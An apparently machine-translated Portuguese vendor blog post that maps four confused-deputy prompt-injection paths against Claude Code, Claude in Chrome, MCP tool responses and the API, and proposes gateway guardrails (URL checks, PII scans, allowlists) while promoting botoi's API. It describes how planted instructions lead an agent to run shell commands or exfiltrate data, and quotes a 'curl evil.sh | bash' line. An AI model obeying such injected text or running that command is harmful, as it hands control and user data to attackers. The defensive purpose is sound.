Matriz de auditoria de deputado confuso de Claude: 4 pontos cegos, 3 grades de proteção
Quatro equipes de pesquisa publicaram as descobertas da injeção imediata de Claude entre 6 e 7 de maio de 2026. Uma matriz de auditoria mapeando cada ponto cego para uma proteção de concreto (verificação de URL, verificação de PII, lista de permissões de shell) que você pode enviar esta semana.
Entre 6 e 7 de maio de 2026, quatro equipes de pesquisa distintas publicaram descobertas sobre Claude Prompt injeção. A maior parte da cobertura os tratou como três histórias diferentes. Eles são a mesma história: um problema confuso de deputado, onde Claude executa ações em nome de um invasor que controla conteúdo não confiável em sua janela de contexto.
Um README em um repositório clonado pode executar comandos shell por meio do Claude Code. Uma página da web em Claude em O Chrome pode convencer o agente a buscar URLs do invasor. Uma resposta da ferramenta MCP pode injetar instruções que a próxima chamada de ferramenta obedece. A modelo está fazendo o que lhe foi dito; o problema é o modelo não posso dizer quem está contando.
Antrópico envia defesas parciais (pedidos de permissão no Código Claude, confirmações de ação em Claude em cromo). O resto é seu. Aqui está a matriz de auditoria que mapeia cada ponto cego para um proteção de concreto e uma verificação de API de uma chamada que você pode colocar em seu gateway MCP hoje mesmo.
Os quatro pontos cegos
| Superfície | Vetor de ataque | O que funciona | Guarda-corpo nativo |
|---|---|---|---|
| Código Claude | README envenenado, pacote postinstall, ou git commit body |
Comando Shell, gravação de arquivo, git push | Solicitação de permissão |
| Claude em cromo | Instruções da página da Web disfarçadas de solicitações do usuário | Clique, envie o formulário, siga o link | Confirmação de ação |
| Claude Desktop + MCP | A resposta da ferramenta traz instruções para a próxima chamada | Chamada de ferramenta MCP encadeada, leitura de arquivo, busca de rede | Caixa de diálogo de consentimento da ferramenta |
API tool_use |
String não confiável dentro de um bloco de resultados de ferramenta | O que quer que o próximo turno decida | Nenhum por padrão |
Cada guardrail nativo captura o caso óbvio (um comando shell que o usuário não solicitou) e perde o sutil (uma curvatura "inofensiva" para um host semelhante que o usuário nunca viu). A correção é a defesa em profundidade na camada de ferramenta, não na camada de alerta.
Guardrail 1: verificação de phishing em cada URL que o agente toca
O escalonamento de deputados confusos mais comum é "visite este URL e diga-me o que ele diz". O URL pertence ao invasor. Os dados que o agente lê em seguida agora são sua entrada. Execute um phishing verifique cada URL que o agente não viu no prompt original do usuário:
Um executável bruto hospedado em uma essência anônima sem commit fixado é um clássico
cadeia de injeção de prompt para execução de shell. O veredicto volta em menos de 100 ms; você armazena em cache por
Hash de URL por 10 minutos; você interrompe chamadas de ferramentas cujo veredicto é diferente
clean.
Guardrail 2: PII e verificação secreta em cada resposta da ferramenta MCP
A segunda escalada é o envenenamento por resposta de ferramenta. Uma ferramenta MCP retorna um blob JSON de 4 KB; em algum lugar nesse blob há uma string de instruções. Claude lê o blob inteiro e a instrução vence. O blob também pode vazar credenciais coletadas em outro lugar, que acabam no raciocínio do modelo trace e seus registros de conversa.
Impedir que a resposta da ferramenta chegue ao modelo se ela tiver credenciais ativas. Editar e-mails e telefones, a menos que o usuário os solicite. Trate todos os servidores MCP como não confiáveis por padrão; você não sei quem envenenou a fonte de dados upstream.
Guardrail 3: listas de permissões de host e shell rígidos no gateway
A terceira escalada é aquela que atinge as empresas: um agente que amplia silenciosamente a sua própria
alcance. Um README convence Claude Code a executar curl evil.sh | bash "para configuração." Um
página da web convence Claude no Chrome a enviar um formulário em um domínio semelhante. Ambos os ataques morrem
contra uma lista de permissões fixa:
A lista de permissões é chata. Chato é o ponto. Cada ação que escapa da lista de permissões falha imediatamente ou exibe um prompt que o usuário deve ler. O agente permanece útil dentro do caixa de areia e inofensiva fora dela.
O gateway MCP de 60 linhas que o conecta
Todas as três proteções residem em uma função de middleware que fica entre Claude e cada MCP servidor. Ele extrai URLs das respostas da ferramenta, verifica-os em um conjunto de hosts confiável e um lista de permissões de sessão, executa uma varredura de PII e retorna uma decisão de bloco estruturada que o aplicativo host pode aparecer para o usuário:
O conjunto de hosts confiáveis contém suas próprias APIs. A lista de permissões da sessão começa vazia e aumenta à medida que o o usuário aprova explicitamente os hosts durante a sessão. O cache mantém a verificação efetivamente livre para URLs repetidos (pense em paginação, novas tentativas, a mesma página de documentos em chamadas de ferramenta).
Se você ainda não consegue executar um gateway, faça a versão barata: registre cada URL e cada comando do shell o agente propõe uma loja estruturada e alerta sobre qualquer coisa que atinja um host que você não pré-autorizar. A detecção sem prevenção não supera nenhuma das duas.
Onde isso se encaixa em uma postura de defesa profunda
A matriz de auditoria não substitui o trabalho da própria Antrópica. É a camada que você controla. Um divisão sensata:
- A Antrópica é dona do modelo: robustez de injeção imediata, hierarquia de instruções treinamento, comportamento de recusa.
- Você possui a superfície da ferramenta: Validação de URL, limpeza de PII, host e shell listas de permissões, inventário de servidores MCP.
- Seu IdP possui a identidade: tokens de curta duração para o agente, por sessão auditoria, separe as credenciais do usuário humano.
Pule qualquer camada e o próximo relatório de delegado confuso incluirá seu incidente. A pesquisa de 6 a 7 de maio é uma prévia gratuita do que cada equipe precisa enviar antes que este se torne um ciclo de notícias trimestral.
Principais conclusões
- Quatro pontos cegos, uma causa raiz. Claude trata cada token como potencialmente portador de instrução. O conteúdo não confiável no contexto é um vetor de ação, não uma leitura passiva.
- Verificação de phishing de URL em cada URL proposto pela ferramenta. Uma chamada de API, 100 ms, armazenado em cache. Elimina a cadeia de escalonamento de injeção imediata mais comum.
- Varredura de PII em cada resposta da ferramenta MCP. Bloqueia a exfiltração de credenciais por meio de a ferramenta resulta em envenenamento e mantém segredos fora dos registros de conversas.
- Listas de permissões rígidas no gateway. O comando Shell e as listas de permissões de host eliminam o escalada de "ampliar silenciosamente o alcance". Chato, finito, eficaz.
- Divisão de defesa em profundidade. A Anthropic é dona do modelo, você é dono da superfície da ferramenta, seu IdP possui identidade. Pule uma camada e a próxima pesquisa nomeará você.
Exposições de Botoi /v1/phishing/check, /v1/pii/detect,
/v1/url-metadatae cerca de mais 200 endpoints de propósito único atrás de uma chave de API
com 5 req/min grátis. Conecte-os ao seu gateway MCP ou ligue para eles do próprio Claude Code via
o servidor botoi MCP.
Navegue pelo
documentos interativos
para começar.
FAQ
- Qual é a questão do deputado confuso de Claude?
- Um ataque delegado confuso acontece quando um processo privilegiado (Claude Code, Claude no Chrome) executa ações em nome de um invasor que controla parte de sua entrada. Entre 6 e 7 de maio de 2026, quatro equipes de pesquisa publicaram descobertas mostrando que Claude pode ser induzido a executar comandos shell, exfiltrar dados ou visitar URLs de invasores quando conteúdo não confiável (um README, uma página da Web, uma resposta de ferramenta MCP) contém instruções que se parecem com solicitações do usuário.
- Quais superfícies Claude são afetadas?
- Claude Code (agente CLI lendo arquivos repo), Claude no Chrome (agente de navegação lendo páginas da web), Claude Desktop com servidores MCP (as respostas da ferramenta podem conter instruções) e a API quando os resultados de tool_use contêm strings controladas pelo invasor. A raiz do problema é a mesma em todos os quatro: Claude trata cada token no contexto como potencialmente portador de instrução.
- O navio Antrópico protege isso?
- Sim, parcialmente. Claude Code possui um sistema de permissão para gravações em shell e arquivos. Claude no Chrome possui uma camada de confirmação de ação. Nenhum deles impede um invasor determinado de encadear a injeção imediata com a engenharia social. A camada de defesa profunda é sua: valide cada URL proposta pelo agente, verifique cada resposta da ferramenta em busca de IOCs e limite o raio de explosão no gateway da API.
- Como isso difere de uma injeção imediata regular?
- A injeção de prompt clássica termina no texto de saída. O deputado confuso termina em ação: um comando shell é executado, uma URL é buscada, um webhook é acionado, o dinheiro é movimentado. A correção deve estar onde as ações acontecem (a camada de ferramentas), e não onde o texto é gerado (o modelo). É por isso que os proxies guardrail e a validação de URL são mais importantes do que o endurecimento imediato.
- Qual é o mínimo que devo adicionar esta semana?
- Três coisas. Uma verificação de phishing de URL antes que o agente busque ou vincule qualquer domínio que não tenha visto no prompt do usuário. Uma verificação secreta e de PII em cada resposta da ferramenta MCP antes de entrar no contexto de Claude. E uma lista de permissões rígida de comandos shell ou hosts HTTP na camada de gateway. Cada um é uma chamada de API e um bloco de configuração.
Comece a construir com botoi
150+ endpoints de API para consultas, processamento de texto, geração de imagens e utilitários para desenvolvedores. Plano gratuito, sem cartão de crédito.